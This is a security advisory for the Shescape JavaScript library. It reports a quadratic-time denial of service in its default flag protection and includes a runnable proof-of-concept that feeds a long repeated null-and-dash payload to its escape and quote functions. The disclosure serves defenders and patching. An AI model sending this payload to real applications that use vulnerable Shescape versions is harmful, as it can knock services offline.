GHSA-gm3r-q2wp-hw87: Shescape: Quadratic-time denial of service in the flag-protection
(updated )
This impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used.
An attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs.
import { Shescape } from "shescape";
// 1. Prerequisites
const options = {
//flagProtection unspecified
// Or
flagProtection: true,
};
// 2. Payload
let payload = "\u0000-".repeat(32000);
// 3. Usage
const shescape = new Shescape(options);
let callback;
callback = () => shescape.escape(payload);
// Or
callback = () => shescape.escapeAll([payload]);
// Or
callback = () => shescape.quote(payload);
// Or
callback = () => shescape.quoteAll([payload]);
const t0 = process.hrtime.bigint();
callback();
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
// 4. Impact
console.log("Duration:", ms);
// Outputs "Duration:" followed by a number close to 20000
References
- github.com/advisories/GHSA-gm3r-q2wp-hw87
- github.com/ericcornelissen/shescape/blob/dea8893a5877893d8d4923dbf253080e08899e6d/docs/migration.md
- github.com/ericcornelissen/shescape/commit/43d70b59d09bbe5c3fd02ef08b3a123e977ed9de
- github.com/ericcornelissen/shescape/commit/b4b34c394e7f9da2775bb75381066b9a228c425f
- github.com/ericcornelissen/shescape/pull/2649
- github.com/ericcornelissen/shescape/pull/2651
- github.com/ericcornelissen/shescape/releases/tag/v2.1.14
- github.com/ericcornelissen/shescape/releases/tag/v3.0.1
- github.com/ericcornelissen/shescape/security/advisories/GHSA-gm3r-q2wp-hw87
- nvd.nist.gov/vuln/detail/CVE-2026-73413
Code Behaviors & Features
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